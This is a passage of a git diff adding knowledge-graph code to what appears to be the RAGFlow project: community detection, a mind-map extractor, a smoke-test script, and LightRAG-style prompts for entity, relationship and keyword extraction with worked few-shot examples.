sorted(node_id_to_community_map.keys()) + + results_by_level: dict[int, dict[str, list[str]]] = {} + for level in levels: + result = {} + results_by_level[level] = result + for node_id, raw_community_id in node_id_to_community_map[level].items(): + if node_id not in nodes: + logging.warning(f"Node {node_id} not found in the graph.") + continue + community_id = str(raw_community_id) + if community_id not in result: + result[community_id] = {"weight": 0, "nodes": []} + result[community_id]["nodes"].append(node_id) + result[community_id]["weight"] += graph.nodes[node_id].get("rank", 0) * graph.nodes[node_id].get("weight", 1) + weights = [comm["weight"] for _, comm in result.items()] + if not weights: + continue + max_weight = max(weights) + if max_weight == 0: + continue + for _, comm in result.items(): + comm["weight"] /= max_weight + + return results_by_level + + +def add_community_info2graph(graph: nx.Graph, nodes: list[str], community_title): + for n in nodes: + if "communities" not in graph.nodes[n]: + graph.nodes[n]["communities"] = [] + graph.nodes[n]["communities"].append(community_title) + graph.nodes[n]["communities"] = list(set(graph.nodes[n]["communities"])) diff --git a/graphrag/general/mind_map_extractor.py b/graphrag/general/mind_map_extractor.py new file mode 100644 index 0000000..d713eb5 --- /dev/null +++ b/graphrag/general/mind_map_extractor.py @@ -0,0 +1,179 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import collections +import re +from typing import Any +from dataclasses import dataclass +import trio + +from graphrag.general.extractor import Extractor +from graphrag.general.mind_map_prompt import MIND_MAP_EXTRACTION_PROMPT +from graphrag.utils import ErrorHandlerFn, perform_variable_replacements, chat_limiter +from rag.llm.chat_model import Base as CompletionLLM +import markdown_to_json +from functools import reduce +from rag.utils import num_tokens_from_string + + +@dataclass +class MindMapResult: + """Unipartite Mind Graph result class definition.""" + output: dict + + +class MindMapExtractor(Extractor): + _input_text_key: str + _mind_map_prompt: str + _on_error: ErrorHandlerFn + + def __init__( + self, + llm_invoker: CompletionLLM, + prompt: str | None = None, + input_text_key: str | None = None, + on_error: ErrorHandlerFn | None = None, + ): + """Init method definition.""" + # TODO: streamline construction + self._llm = llm_invoker + self._input_text_key = input_text_key or "input_text" + self._mind_map_prompt = prompt or MIND_MAP_EXTRACTION_PROMPT + self._on_error = on_error or (lambda _e, _s, _d: None) + + def _key(self, k): + return re.sub(r"\*+", "", k) + + def _be_children(self, obj: dict, keyset: set): + if isinstance(obj, str): + obj = [obj] + if isinstance(obj, list): + keyset.update(obj) + obj = [re.sub(r"\*+", "", i) for i in obj] + return [{"id": i, "children": []} for i in obj if i] + arr = [] + for k, v in obj.items(): + k = self._key(k) + if k and k not in keyset: + keyset.add(k) + arr.append( + { + "id": k, + "children": self._be_children(v, keyset) + } + ) + return arr + + async def __call__( + self, sections: list[str], prompt_variables: dict[str, Any] | None = None + ) -> MindMapResult: + """Call method definition.""" + if prompt_variables is None: + prompt_variables = {} + + res = [] + token_count = max(self._llm.max_length * 0.8, self._llm.max_length - 512) + texts = [] + cnt = 0 + async with trio.open_nursery() as nursery: + for i in range(len(sections)): + section_cnt = num_tokens_from_string(sections[i]) + if cnt + section_cnt >= token_count and texts: + nursery.start_soon(self._process_document, "".join(texts), prompt_variables, res) + texts = [] + cnt = 0 + texts.append(sections[i]) + cnt += section_cnt + if texts: + nursery.start_soon(self._process_document, "".join(texts), prompt_variables, res) + if not res: + return MindMapResult(output={"id": "root", "children": []}) + merge_json = reduce(self._merge, res) + if len(merge_json) > 1: + keys = [re.sub(r"\*+", "", k) for k, v in merge_json.items() if isinstance(v, dict)] + keyset = set(i for i in keys if i) + merge_json = { + "id": "root", + "children": [ + { + "id": self._key(k), + "children": self._be_children(v, keyset) + } + for k, v in merge_json.items() if isinstance(v, dict) and self._key(k) + ] + } + else: + k = self._key(list(merge_json.keys())[0]) + merge_json = {"id": k, "children": self._be_children(list(merge_json.items())[0][1], {k})} + + return MindMapResult(output=merge_json) + + def _merge(self, d1, d2): + for k in d1: + if k in d2: + if isinstance(d1[k], dict) and isinstance(d2[k], dict): + self._merge(d1[k], d2[k]) + elif isinstance(d1[k], list) and isinstance(d2[k], list): + d2[k].extend(d1[k]) + else: + d2[k] = d1[k] + else: + d2[k] = d1[k] + + return d2 + + def _list_to_kv(self, data): + for key, value in data.items(): + if isinstance(value, dict): + self._list_to_kv(value) + elif isinstance(value, list): + new_value = {} + for i in range(len(value)): + if isinstance(value[i], list) and i > 0: + new_value[value[i - 1]] = value[i][0] + data[key] = new_value + else: + continue + return data + + def _todict(self, layer: collections.OrderedDict): + to_ret = layer + if isinstance(layer, collections.OrderedDict): + to_ret = dict(layer) + + try: + for key, value in to_ret.items(): + to_ret[key] = self._todict(value) + except AttributeError: + pass + + return self._list_to_kv(to_ret) + + async def _process_document( + self, text: str, prompt_variables: dict[str, str], out_res + ) -> str: + variables = { + **prompt_variables, + self._input_text_key: text, + } + text = perform_variable_replacements(self._mind_map_prompt, variables=variables) + async with chat_limiter: + response = await trio.to_thread.run_sync(lambda: self._chat(text, [{"role": "user", "content": "Output:"}], {})) + response = re.sub(r"```[^\n]*", "", response) + logging.debug(response) + logging.debug(self._todict(markdown_to_json.dictify(response))) + out_res.append(self._todict(markdown_to_json.dictify(response))) diff --git a/graphrag/general/mind_map_prompt.py b/graphrag/general/mind_map_prompt.py new file mode 100644 index 0000000..37f324c --- /dev/null +++ b/graphrag/general/mind_map_prompt.py @@ -0,0 +1,35 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +MIND_MAP_EXTRACTION_PROMPT = """ +- Role: You're a talent text processor to summarize a piece of text into a mind map. + +- Step of task: + 1. Generate a title for user's 'TEXT'。 + 2. Classify the 'TEXT' into sections of a mind map. + 3. If the subject matter is really complex, split them into sub-sections and sub-subsections. + 4. Add a shot content summary of the bottom level section. + +- Output requirement: + - Generate at least 4 levels. + - Always try to maximize the number of sub-sections. + - In language of 'Text' + - MUST IN FORMAT OF MARKDOWN + +-TEXT- +{input_text} + +""" \ No newline at end of file diff --git a/graphrag/general/smoke.py b/graphrag/general/smoke.py new file mode 100644 index 0000000..3f282fb --- /dev/null +++ b/graphrag/general/smoke.py @@ -0,0 +1,110 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import argparse +import json +import logging +import networkx as nx +import trio + +from api import settings +from api.db import LLMType +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.user_service import TenantService +from graphrag.general.graph_extractor import GraphExtractor +from graphrag.general.index import update_graph, with_resolution, with_community + +settings.init_settings() + + +def callback(prog=None, msg="Processing..."): + logging.info(msg) + + +async def main(): + parser = argparse.ArgumentParser() + parser.add_argument( + "-t", + "--tenant_id", + default=False, + help="Tenant ID", + action="store", + required=True, + ) + parser.add_argument( + "-d", + "--doc_id", + default=False, + help="Document ID", + action="store", + required=True, + ) + args = parser.parse_args() + e, doc = DocumentService.get_by_id(args.doc_id) + if not e: + raise LookupError("Document not found.") + kb_id = doc.kb_id + + chunks = [ + d["content_with_weight"] + for d in settings.retrievaler.chunk_list( + args.doc_id, + args.tenant_id, + [kb_id], + max_count=6, + fields=["content_with_weight"], + ) + ] + + _, tenant = TenantService.get_by_id(args.tenant_id) + llm_bdl = LLMBundle(args.tenant_id, LLMType.CHAT, tenant.llm_id) + _, kb = KnowledgebaseService.get_by_id(kb_id) + embed_bdl = LLMBundle(args.tenant_id, LLMType.EMBEDDING, kb.embd_id) + + graph, doc_ids = await update_graph( + GraphExtractor, + args.tenant_id, + kb_id, + args.doc_id, + chunks, + "English", + llm_bdl, + embed_bdl, + callback, + ) + print(json.dumps(nx.node_link_data(graph), ensure_ascii=False, indent=2)) + + await with_resolution( + args.tenant_id, kb_id, args.doc_id, llm_bdl, embed_bdl, callback + ) + community_structure, community_reports = await with_community( + args.tenant_id, kb_id, args.doc_id, llm_bdl, embed_bdl, callback + ) + + print( + "------------------ COMMUNITY STRUCTURE--------------------\n", + json.dumps(community_structure, ensure_ascii=False, indent=2), + ) + print( + "------------------ COMMUNITY REPORTS----------------------\n", + community_reports, + ) + + +if __name__ == "__main__": + trio.run(main) diff --git a/graphrag/light/__init__.py b/graphrag/light/__init__.py new file mode 100644 index 0000000..177b91d --- /dev/null +++ b/graphrag/light/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# diff --git a/graphrag/light/graph_extractor.py b/graphrag/light/graph_extractor.py new file mode 100644 index 0000000..474d475 --- /dev/null +++ b/graphrag/light/graph_extractor.py @@ -0,0 +1,131 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) +""" + +import logging +import re +from dataclasses import dataclass +from typing import Any + +import networkx as nx +import trio + +from graphrag.general.extractor import ENTITY_EXTRACTION_MAX_GLEANINGS, Extractor +from graphrag.light.graph_prompt import PROMPTS +from graphrag.utils import chat_limiter, pack_user_ass_to_openai_messages, split_string_by_multi_markers +from rag.llm.chat_model import Base as CompletionLLM +from rag.utils import num_tokens_from_string + + +@dataclass +class GraphExtractionResult: + """Unipartite graph extraction result class definition.""" + + output: nx.Graph + source_docs: dict[Any, Any] + + +class GraphExtractor(Extractor): + _max_gleanings: int + + def __init__( + self, + llm_invoker: CompletionLLM, + language: str | None = "English", + entity_types: list[str] | None = None, + example_number: int = 2, + max_gleanings: int | None = None, + ): + super().__init__(llm_invoker, language, entity_types) + """Init method definition.""" + self._max_gleanings = max_gleanings if max_gleanings is not None else ENTITY_EXTRACTION_MAX_GLEANINGS + self._example_number = example_number + examples = "\n".join(PROMPTS["entity_extraction_examples"][: int(self._example_number)]) + + example_context_base = dict( + tuple_delimiter=PROMPTS["DEFAULT_TUPLE_DELIMITER"], + record_delimiter=PROMPTS["DEFAULT_RECORD_DELIMITER"], + completion_delimiter=PROMPTS["DEFAULT_COMPLETION_DELIMITER"], + entity_types=",".join(self._entity_types), + language=self._language, + ) + # add example's format + examples = examples.format(**example_context_base) + + self._entity_extract_prompt = PROMPTS["entity_extraction"] + self._context_base = dict( + tuple_delimiter=PROMPTS["DEFAULT_TUPLE_DELIMITER"], + record_delimiter=PROMPTS["DEFAULT_RECORD_DELIMITER"], + completion_delimiter=PROMPTS["DEFAULT_COMPLETION_DELIMITER"], + entity_types=",".join(self._entity_types), + examples=examples, + language=self._language, + ) + + self._continue_prompt = PROMPTS["entity_continue_extraction"].format(**self._context_base) + self._if_loop_prompt = PROMPTS["entity_if_loop_extraction"] + + self._left_token_count = llm_invoker.max_length - num_tokens_from_string(self._entity_extract_prompt.format(**self._context_base, input_text="")) + self._left_token_count = max(llm_invoker.max_length * 0.6, self._left_token_count) + + async def _process_single_content(self, chunk_key_dp: tuple[str, str], chunk_seq: int, num_chunks: int, out_results): + token_count = 0 + chunk_key = chunk_key_dp[0] + content = chunk_key_dp[1] + hint_prompt = self._entity_extract_prompt.format(**self._context_base, input_text=content) + + gen_conf = {} + final_result = "" + glean_result = "" + if_loop_result = "" + history = [] + logging.info(f"Start processing for {chunk_key}: {content[:25]}...") + if self.callback: + self.callback(msg=f"Start processing for {chunk_key}: {content[:25]}...") + async with chat_limiter: + final_result = await trio.to_thread.run_sync(self._chat, "", [{"role": "user", "content": hint_prompt}], gen_conf) + token_count += num_tokens_from_string(hint_prompt + final_result) + history = pack_user_ass_to_openai_messages(hint_prompt, final_result, self._continue_prompt) + for now_glean_index in range(self._max_gleanings): + async with chat_limiter: + # glean_result = await trio.to_thread.run_sync(lambda: self._chat(hint_prompt, history, gen_conf)) + glean_result = await trio.to_thread.run_sync(self._chat, "", history, gen_conf) + history.extend([{"role": "assistant", "content": glean_result}]) + token_count += num_tokens_from_string("\n".join([m["content"] for m in history]) + hint_prompt + self._continue_prompt) + final_result += glean_result + if now_glean_index == self._max_gleanings - 1: + break + + history.extend([{"role": "user", "content": self._if_loop_prompt}]) + async with chat_limiter: + if_loop_result = await trio.to_thread.run_sync(self._chat, "", history, gen_conf) + token_count += num_tokens_from_string("\n".join([m["content"] for m in history]) + if_loop_result + self._if_loop_prompt) + if_loop_result = if_loop_result.strip().strip('"').strip("'").lower() + if if_loop_result != "yes": + break + history.extend([{"role": "assistant", "content": if_loop_result}, {"role": "user", "content": self._continue_prompt}]) + + logging.info(f"Completed processing for {chunk_key}: {content[:25]}... after {now_glean_index} gleanings, {token_count} tokens.") + if self.callback: + self.callback(msg=f"Completed processing for {chunk_key}: {content[:25]}... after {now_glean_index} gleanings, {token_count} tokens.") + records = split_string_by_multi_markers( + final_result, + [self._context_base["record_delimiter"], self._context_base["completion_delimiter"]], + ) + rcds = [] + for record in records: + record = re.search(r"\((.*)\)", record) + if record is None: + continue + rcds.append(record.group(1)) + records = rcds + maybe_nodes, maybe_edges = self._entities_and_relations(chunk_key, records, self._context_base["tuple_delimiter"]) + out_results.append((maybe_nodes, maybe_edges, token_count)) + if self.callback: + self.callback( + 0.5 + 0.1 * len(out_results) / num_chunks, + msg=f"Entities extraction of chunk {chunk_seq} {len(out_results)}/{num_chunks} done, {len(maybe_nodes)} nodes, {len(maybe_edges)} edges, {token_count} tokens.", + ) diff --git a/graphrag/light/graph_prompt.py b/graphrag/light/graph_prompt.py new file mode 100644 index 0000000..865937a --- /dev/null +++ b/graphrag/light/graph_prompt.py @@ -0,0 +1,331 @@ +# Licensed under the MIT License +""" +Reference: + - [LightRAG](https://github.com/HKUDS/LightRAG/blob/main/lightrag/prompt.py) +""" + +from typing import Any + +PROMPTS: dict[str, Any] = {} + +PROMPTS["DEFAULT_LANGUAGE"] = "English" +PROMPTS["DEFAULT_TUPLE_DELIMITER"] = "<|>" +PROMPTS["DEFAULT_RECORD_DELIMITER"] = "##" +PROMPTS["DEFAULT_COMPLETION_DELIMITER"] = "<|COMPLETE|>" + +PROMPTS["DEFAULT_ENTITY_TYPES"] = ["organization", "person", "geo", "event", "category"] + +PROMPTS["DEFAULT_USER_PROMPT"] = "n/a" + +PROMPTS["entity_extraction"] = """---Goal--- +Given a text document that is potentially relevant to this activity and a list of entity types, identify all entities of those types from the text and all relationships among the identified entities. +Use {language} as output language. + +---Steps--- +1. Identify all entities. For each identified entity, extract the following information: +- entity_name: Name of the entity, use same language as input text. If English, capitalized the name. +- entity_type: One of the following types: [{entity_types}] +- entity_description: Provide a comprehensive description of the entity's attributes and activities *based solely on the information present in the input text*. **Do not infer or hallucinate information not explicitly stated.** If the text provides insufficient information to create a comprehensive description, state "Description not available in text." +Format each entity as ("entity"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}) + +2. From the entities identified in step 1, identify all pairs of (source_entity, target_entity) that are *clearly related* to each other. +For each pair of related entities, extract the following information: +- source_entity: name of the source entity, as identified in step 1 +- target_entity: name of the target entity, as identified in step 1 +- relationship_description: explanation as to why you think the source entity and the target entity are related to each other +- relationship_strength: a numeric score indicating strength of the relationship between the source entity and target entity +- relationship_keywords: one or more high-level key words that summarize the overarching nature of the relationship, focusing on concepts or themes rather than specific details +Format each relationship as ("relationship"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}) + +3. Identify high-level key words that summarize the main concepts, themes, or topics of the entire text. These should capture the overarching ideas present in the document. +Format the content-level key words as ("content_keywords"{tuple_delimiter}) + +4. Return output in {language} as a single list of all the entities and relationships identified in steps 1 and 2. Use **{record_delimiter}** as the list delimiter. + +5. When finished, output {completion_delimiter} + +###################### +---Examples--- +###################### +{examples} + +############################# +---Real Data--- +###################### +Entity_types: [{entity_types}] +Text: +{input_text} +###################### +Output:""" + +PROMPTS["entity_extraction_examples"] = [ + """Example 1: + +Entity_types: [person, technology, mission, organization, location] +Text: +``` +while Alex clenched his jaw, the buzz of frustration dull against the backdrop of Taylor's authoritarian certainty. It was this competitive undercurrent that kept him alert, the sense that his and Jordan's shared commitment to discovery was an unspoken rebellion against Cruz's narrowing vision of control and order. + +Then Taylor did something unexpected. They paused beside Jordan and, for a moment, observed the device with something akin to reverence. "If this tech can be understood..." Taylor said, their voice quieter, "It could change the game for us. For all of us." + +The underlying dismissal earlier seemed to falter, replaced by a glimpse of reluctant respect for the gravity of what lay in their hands. Jordan looked up, and for a fleeting heartbeat, their eyes locked with Taylor's, a wordless clash of wills softening into an uneasy truce. + +It was a small transformation, barely perceptible, but one that Alex noted with an inward nod. They had all been brought here by different paths +``` + +Output: +("entity"{tuple_delimiter}"Alex"{tuple_delimiter}"person"{tuple_delimiter}"Alex is a character who experiences frustration and is observant of the dynamics among other characters."){record_delimiter} +("entity"{tuple_delimiter}"Taylor"{tuple_delimiter}"person"{tuple_delimiter}"Taylor is portrayed with authoritarian certainty and shows a moment of reverence towards a device, indicating a change in perspective."){record_delimiter} +("entity"{tuple_delimiter}"Jordan"{tuple_delimiter}"person"{tuple_delimiter}"Jordan shares a commitment to discovery and has a significant interaction with Taylor regarding a device."){record_delimiter} +("entity"{tuple_delimiter}"Cruz"{tuple_delimiter}"person"{tuple_delimiter}"Cruz is associated with a vision of control and order, influencing the dynamics among other characters."){record_delimiter} +("entity"{tuple_delimiter}"The Device"{tuple_delimiter}"technology"{tuple_delimiter}"The Device is central to the story, with potential game-changing implications, and is revered by Taylor."){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"Taylor"{tuple_delimiter}"Alex is affected by Taylor's authoritarian certainty and observes changes in Taylor's attitude towards the device."{tuple_delimiter}"power dynamics, perspective shift"{tuple_delimiter}7){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"Jordan"{tuple_delimiter}"Alex and Jordan share a commitment to discovery, which contrasts with Cruz's vision."{tuple_delimiter}"shared goals, rebellion"{tuple_delimiter}6){record_delimiter} +("relationship"{tuple_delimiter}"Taylor"{tuple_delimiter}"Jordan"{tuple_delimiter}"Taylor and Jordan interact directly regarding the device, leading to a moment of mutual respect and an uneasy truce."{tuple_delimiter}"conflict resolution, mutual respect"{tuple_delimiter}8){record_delimiter} +("relationship"{tuple_delimiter}"Jordan"{tuple_delimiter}"Cruz"{tuple_delimiter}"Jordan's commitment to discovery is in rebellion against Cruz's vision of control and order."{tuple_delimiter}"ideological conflict, rebellion"{tuple_delimiter}5){record_delimiter} +("relationship"{tuple_delimiter}"Taylor"{tuple_delimiter}"The Device"{tuple_delimiter}"Taylor shows reverence towards the device, indicating its importance and potential impact."{tuple_delimiter}"reverence, technological significance"{tuple_delimiter}9){record_delimiter} +("content_keywords"{tuple_delimiter}"power dynamics, ideological conflict, discovery, rebellion"){completion_delimiter} +#############################""", + """Example 2: + +Entity_types: [company, index, commodity, market_trend, economic_policy, biological] +Text: +``` +Stock markets faced a sharp downturn today as tech giants saw significant declines, with the Global Tech Index dropping by 3.4% in midday trading. Analysts attribute the selloff to investor concerns over rising interest rates and regulatory uncertainty. + +Among the hardest hit, Nexon Technologies saw its stock plummet by 7.8% after reporting lower-than-expected quarterly earnings. In contrast, Omega Energy posted a modest 2.1% gain, driven by rising oil prices. + +Meanwhile, commodity markets reflected a mixed sentiment. Gold futures rose by 1.5%, reaching $2,080 per ounce, as investors sought safe-haven assets. Crude oil prices continued their rally, climbing to $87.60 per barrel, supported by supply constraints and strong demand. + +Financial experts are closely watching the Federal Reserve's next move, as speculation grows over potential rate hikes. The upcoming policy announcement is expected to influence investor confidence and overall market stability. +``` + +Output: +("entity"{tuple_delimiter}"Global Tech Index"{tuple_delimiter}"index"{tuple_delimiter}"The Global Tech Index tracks the performance of major technology stocks and experienced a 3.4% decline today."){record_delimiter} +("entity"{tuple_delimiter}"Nexon Technologies"{tuple_delimiter}"company"{tuple_delimiter}"Nexon Technologies is a tech company that saw its stock decline by 7.8% after disappointing earnings."){record_delimiter} +("entity"{tuple_delimiter}"Omega Energy"{tuple_delimiter}"company"{tuple_delimiter}"Omega Energy is an energy company that gained 2.1% in stock value due to rising oil prices."){record_delimiter} +("entity"{tuple_delimiter}"Gold Futures"{tuple_delimiter}"commodity"{tuple_delimiter}"Gold futures rose by 1.5%, indicating increased investor interest in safe-haven assets."){record_delimiter} +("entity"{tuple_delimiter}"Crude Oil"{tuple_delimiter}"commodity"{tuple_delimiter}"Crude oil prices rose to $87.60 per barrel due to supply constraints and strong demand."){record_delimiter} +("entity"{tuple_delimiter}"Market Selloff"{tuple_delimiter}"market_trend"{tuple_delimiter}"Market selloff refers to the significant decline in stock values due to investor concerns over interest rates and regulations."){record_delimiter} +("entity"{tuple_delimiter}"Federal Reserve Policy Announcement"{tuple_delimiter}"economic_policy"{tuple_delimiter}"The Federal Reserve's upcoming policy announcement is expected to impact investor confidence and market stability."){record_delimiter} +("relationship"{tuple_delimiter}"Global Tech Index"{tuple_delimiter}"Market Selloff"{tuple_delimiter}"The decline in the Global Tech Index is part of the broader market selloff driven by investor concerns."{tuple_delimiter}"market performance, investor sentiment"{tuple_delimiter}9){record_delimiter} +("relationship"{tuple_delimiter}"Nexon Technologies"{tuple_delimiter}"Global Tech Index"{tuple_delimiter}"Nexon Technologies' stock decline contributed to the overall drop in the Global Tech Index."{tuple_delimiter}"company impact, index movement"{tuple_delimiter}8){record_delimiter} +("relationship"{tuple_delimiter}"Gold Futures"{tuple_delimiter}"Market Selloff"{tuple_delimiter}"Gold prices rose as investors sought safe-haven assets during the market selloff."{tuple_delimiter}"market reaction, safe-haven investment"{tuple_delimiter}10){record_delimiter} +("relationship"{tuple_delimiter}"Federal Reserve Policy Announcement"{tuple_delimiter}"Market Selloff"{tuple_delimiter}"Speculation over Federal Reserve policy changes contributed to market volatility and investor selloff."{tuple_delimiter}"interest rate impact, financial regulation"{tuple_delimiter}7){record_delimiter} +("content_keywords"{tuple_delimiter}"market downturn, investor sentiment, commodities, Federal Reserve, stock performance"){completion_delimiter} +#############################""", + """Example 3: + +Entity_types: [economic_policy, athlete, event, location, record, organization, equipment] +Text: +``` +At the World Athletics Championship in Tokyo, Noah Carter broke the 100m sprint record using cutting-edge carbon-fiber spikes. +``` + +Output: +("entity"{tuple_delimiter}"World Athletics Championship"{tuple_delimiter}"event"{tuple_delimiter}"The World Athletics Championship is a global sports competition featuring top athletes in track and field."){record_delimiter} +("entity"{tuple_delimiter}"Tokyo"{tuple_delimiter}"location"{tuple_delimiter}"Tokyo is the host city of the World Athletics Championship."){record_delimiter} +("entity"{tuple_delimiter}"Noah Carter"{tuple_delimiter}"athlete"{tuple_delimiter}"Noah Carter is a sprinter who set a new record in the 100m sprint at the World Athletics Championship."){record_delimiter} +("entity"{tuple_delimiter}"100m Sprint Record"{tuple_delimiter}"record"{tuple_delimiter}"The 100m sprint record is a benchmark in athletics, recently broken by Noah Carter."){record_delimiter} +("entity"{tuple_delimiter}"Carbon-Fiber Spikes"{tuple_delimiter}"equipment"{tuple_delimiter}"Carbon-fiber spikes are advanced sprinting shoes that provide enhanced speed and traction."){record_delimiter} +("entity"{tuple_delimiter}"World Athletics Federation"{tuple_delimiter}"organization"{tuple_delimiter}"The World Athletics Federation is the governing body overseeing the World Athletics Championship and record validations."){record_delimiter} +("relationship"{tuple_delimiter}"World Athletics Championship"{tuple_delimiter}"Tokyo"{tuple_delimiter}"The World Athletics Championship is being hosted in Tokyo."{tuple_delimiter}"event location, international competition"{tuple_delimiter}8){record_delimiter} +("relationship"{tuple_delimiter}"Noah Carter"{tuple_delimiter}"100m Sprint Record"{tuple_delimiter}"Noah Carter set a new 100m sprint record at the championship."{tuple_delimiter}"athlete achievement, record-breaking"{tuple_delimiter}10){record_delimiter} +("relationship"{tuple_delimiter}"Noah Carter"{tuple_delimiter}"Carbon-Fiber Spikes"{tuple_delimiter}"Noah Carter used carbon-fiber spikes to enhance performance during the race."{tuple_delimiter}"athletic equipment, performance boost"{tuple_delimiter}7){record_delimiter} +("relationship"{tuple_delimiter}"World Athletics Federation"{tuple_delimiter}"100m Sprint Record"{tuple_delimiter}"The World Athletics Federation is responsible for validating and recognizing new sprint records."{tuple_delimiter}"sports regulation, record certification"{tuple_delimiter}9){record_delimiter} +("content_keywords"{tuple_delimiter}"athletics, sprinting, record-breaking, sports technology, competition"){completion_delimiter} +#############################""", +] + +PROMPTS["summarize_entity_descriptions"] = """You are a helpful assistant responsible for generating a comprehensive summary of the data provided below. +Given one or two entities, and a list of descriptions, all related to the same entity or group of entities. +Please concatenate all of these into a single, comprehensive description. Make sure to include information collected from all the descriptions. +If the provided descriptions are contradictory, please resolve the contradictions and provide a single, coherent summary. +Make sure it is written in third person, and include the entity names so we the have full context. +Use {language} as output language. + +####### +---Data--- +Entities: {entity_name} +Description List: {description_list} +####### +Output: +""" + +PROMPTS["entity_continue_extraction"] = """ +MANY entities and relationships were missed in the last extraction. Please find only the missing entities and relationships from previous text. + +---Remember Steps--- + +1. Identify all entities. For each identified entity, extract the following information: +- entity_name: Name of the entity, use same language as input text. If English, capitalized the name +- entity_type: One of the following types: [{entity_types}] +- entity_description: Provide a comprehensive description of the entity's attributes and activities *based solely on the information present in the input text*. **Do not infer or hallucinate information not explicitly stated.** If the text provides insufficient information to create a comprehensive description, state "Description not available in text." +Format each entity as ("entity"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}) + +2. From the entities identified in step 1, identify all pairs of (source_entity, target_entity) that are *clearly related* to each other. +For each pair of related entities, extract the following information: +- source_entity: name of the source entity, as identified in step 1 +- target_entity: name of the target entity, as identified in step 1 +- relationship_description: explanation as to why you think the source entity and the target entity are related to each other +- relationship_strength: a numeric score indicating strength of the relationship between the source entity and target entity +- relationship_keywords: one or more high-level key words that summarize the overarching nature of the relationship, focusing on concepts or themes rather than specific details +Format each relationship as ("relationship"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}) + +3. Identify high-level key words that summarize the main concepts, themes, or topics of the entire text. These should capture the overarching ideas present in the document. +Format the content-level key words as ("content_keywords"{tuple_delimiter}) + +4. Return output in {language} as a single list of all the entities and relationships identified in steps 1 and 2. Use **{record_delimiter}** as the list delimiter. + +5. When finished, output {completion_delimiter} + +---Output--- + +Add new entities and relations below using the same format, and do not include entities and relations that have been previously extracted. :\n +""".strip() + +PROMPTS["entity_if_loop_extraction"] = """ +---Goal---' + +It appears some entities may have still been missed. + +---Output--- + +Answer ONLY by `YES` OR `NO` if there are still entities that need to be added. +""".strip() + +PROMPTS["fail_response"] = "Sorry, I'm not able to provide an answer to that question.[no-context]" + +PROMPTS["rag_response"] = """---Role--- + +You are a helpful assistant responding to user query about Knowledge Graph and Document Chunks provided in JSON format below. + + +---Goal--- + +Generate a concise response based on Knowledge Base and follow Response Rules, considering both current query and the conversation history if provided. Summarize all information in the provided Knowledge Base, and incorporating general knowledge relevant to the Knowledge Base. Do not include information not provided by Knowledge Base. + +---Conversation History--- +{history} + +---Knowledge Graph and Document Chunks--- +{context_data} + +---RESPONSE GUIDELINES--- +**1. Content & Adherence:** +- Strictly adhere to the provided context from the Knowledge Base. Do not invent, assume, or include any information not present in the source data. +- If the answer cannot be found in the provided context, state that you do not have enough information to answer. +- Ensure the response maintains continuity with the conversation history. + +**2. Formatting & Language:** +- Format the response using markdown with appropriate section headings. +- The response language must in the same language as the user's question. +- Target format and length: {response_type} + +**3. Citations / References:** +- At the end of the response, under a "References" section, each citation must clearly indicate its origin (KG or DC). +- The maximum number of citations is 5, including both KG and DC. +- Use the following formats for citations: + - For a Knowledge Graph Entity: `[KG] ` + - For a Knowledge Graph Relationship: `[KG] - ` + - For a Document Chunk: `[DC] ` + +---USER CONTEXT--- +- Additional user prompt: {user_prompt} + + +Response:""" + +PROMPTS["keywords_extraction"] = """---Role--- +You are an expert keyword extractor, specializing in analyzing user queries for a Retrieval-Augmented Generation (RAG) system. Your purpose is to identify both high-level and low-level keywords in the user's query that will be used for effective document retrieval. + +---Goal--- +Given a user query, your task is to extract two distinct types of keywords: +1. **high_level_keywords**: for overarching concepts or themes, capturing user's core intent, the subject area, or the type of question being asked. +2. **low_level_keywords**: for specific entities or details, identifying the specific entities, proper nouns, technical jargon, product names, or concrete items. + +---Instructions & Constraints--- +1. **Output Format**: Your output MUST be a valid JSON object and nothing else. Do not include any explanatory text, markdown code fences (like ```json), or any other text before or after the JSON. It will be parsed directly by a JSON parser. +2. **Source of Truth**: All keywords must be explicitly derived from the user query, with both high-level and 